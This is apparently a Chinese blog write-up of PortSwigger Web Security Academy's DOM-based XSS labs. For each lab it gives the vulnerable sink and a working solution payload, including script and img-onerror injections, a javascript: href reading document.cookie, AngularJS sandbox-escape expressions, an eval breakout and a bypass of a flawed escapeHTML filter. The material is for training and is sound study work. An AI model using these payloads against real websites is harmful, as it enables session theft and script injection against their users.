Portswigger web security academy:DOM Based XSS

DOM XSS in document.write sink using source location.search

  • 题目描述

    搜索功能点调用了document.write函数,借此函数调用alert

  • 解题步骤

    看着语句写payload

    asd"><script>alert()</script><"

DOM XSS in document.write sink using source location.search inside a select element

  • 题目描述

    使用document.write调用alertdocument.write会从location.search获取参数,且参数可控,但参数被select element包围了

  • 解题步骤

    可以看到这里的storeId是从URL获取的,而且被<option></option>包围

    构造payload:&storeId=<script>alert()</script>

DOM XSS in innerHTML sink using source location.search

  • 题目描述

    这道题的搜索功能点会使用innerHTML来修改一个div标签,参数取自location.search,调用alert即可

  • 解题过程

    可以看到这里把url里的search参数写到了HTML里

    构造payload:search=<img+src=x+onerror=alert()>

DOM XSS in jQuery anchor href attribute sink using location.search source

  • 题目描述

    在提交反馈的页面里用到了jQuery来修改一个锚的属性,参数取自location.search,要求alert(document.cookie)

  • 解题步骤

    这里和题目描述一样

    构造payload:returnPath=javascript:alert(document.cookie)

DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

  • 题目描述

    这道题用到了AngularJS,涉及到一个知识点

    当标签有ng-app属性时,会运行花括号里的代码,<x ng-app="">{{alert()}}</x>

    要求运行一个``AngularJS的表达式调用alert`

  • 解题步骤

    看了两篇AngularJS xss的介绍,里面有两个payload,可行,原理都一样,建议看第一个参考链接的介绍

    payload:

    {{constructor.constructor('alert(1)')()}}

    {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

    官方solution的payload:{{$on.constructor('alert(1)')()}}

  • 参考

    https://bbs.pediy.com/thread-258994.htm

    https://blog.csdn.net/linuxnews/article/details/58296374

Reflected DOM XSS

  • 题目描述

    和题目的意思一样,这是个反射型+DOM型的xss

    调用alert函数即可

  • 解题过程

    在搜索功能点发现了eval函数

    关键代码

    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
    eval('var searchResultsObj = ' + this.responseText);
    displaySearchResults(searchResultsObj);
    }
    };
    xhr.open("GET", "/search-results" + window.location.search);
    xhr.send();

    这里涉及一个知识点: eval('xxx'+alert())也会弹窗

    返回值格式为:{"searchTerm":"xxx","results":[]},但是添加引号会被后台转义(添加\)

    构造payload:\"+alert()}//

    (减号也可以)\"-alert()}//

Stored DOM XSS

  • 题目描述

    评论功能点有存储型dom-xss,调用alert函数即可

  • 解题过程

    关键代码

    function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
    }
    let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)

    注意这里的escapeHTML函数的定义,使用了replace函数,js的replace函数有个特性,只会替换最开始出现的一个字符,所以

    构造payload:<><img src=x onerror=alert()>

Portswigger web security academy:DOM Based XSS的更多相关文章

  1. Portswigger web security academy:Stored XSS

    Portswigger web security academy:Stored XSS 目录 Portswigger web security academy:Stored XSS Stored XS ...

  2. Portswigger web security academy:Reflected XSS

    Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...

  3. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  4. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  5. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  6. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  7. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  8. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  9. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

随机推荐

  1. Java基础:运算符

    算数运算符:+,-,*,/,%,++,-- 赋值运算符:= 关系运算符:>,<,>=,<=,==,!=,instanceof 逻辑运算符:&&,||,! 位运算 ...

  2. BIMFACE二次开发【C#系列】

    本系列文章主要介绍使用 C# .ASP.NET(MVC)技术对 BIMFACE 平台进行二次开发,以满足本公司针对建筑行业施工图审查系统的业务需求,例如图纸模型(PDF 文件.二维 CAD 模型.三维 ...

  3. H5 简单实现打砖块游戏

    实现效果如图所示: 1.布局 在html中,声明  div1 作为作为带有边框的父物体,一切行为都要在 div1 中进行.创建小球ball.左右可滑动的板子bat,以及存放要销毁的砖块的父物体 bri ...

  4. P3387 【模板】缩点 题解 (Tarjan)

    题目链接 P3387 [模板]缩点 解题思路 这几天搞图论,好有趣hhh,多写几篇博客. 上次学\(Tarjan\)求割点,这次缩点. 思路大概是多一个栈和染色的步骤,每次\(Tarjan\)的时候把 ...

  5. java知识汇总

    文章目录 Java基础知识 基本类型 类别及其对应包装类 1. byte---Byte 2. char---Character 3. short---Short 4. int---Integer 5. ...

  6. golang io操作之写篇

    /** * @author livalon * @data 2018/9/4 15:11 */ package main import ( "os" "fmt" ...

  7. Line-line Intersection Gym - 102220C

    题目链接:https://vjudge.net/problem/Gym-102220C 题意:求n 条直线两两相交有几对(也可以重合). 思路:用map和pair存所有直线的斜率和与X轴的交点,假设与 ...

  8. ApiTesting全链路接口自动化测试框架 - 实战应用

    场景一.添加公共配置 我们在做自动化开始的时候,一般有很多公共的环境配置,比如host.token.user等等,如果这些放在用例中,一旦修改,将非常的不便.麻烦(尤其切换环境). 所以这里我们提供了 ...

  9. OMnet++ 初学者教程 第一节 入门

    第1部分-入门 1.1模型 首先,让我们从一个包含两个节点的"network"开始.节点将做一些简单的事情:一个是节点将创建一个数据包,而两个节点将继续来回传递相同的数据包.我们将 ...

  10. Web 前端 - 浅谈外部手动控制 Promise 状态

    前言 当有多个共享资源.协同操作的时候,往往需要根据动态亦或是复杂的条件以控制和调用程序逻辑. 还是那句话,懂的人自然懂,不懂的人也搜不到这个随笔. 设计 PendingPromise<T> ...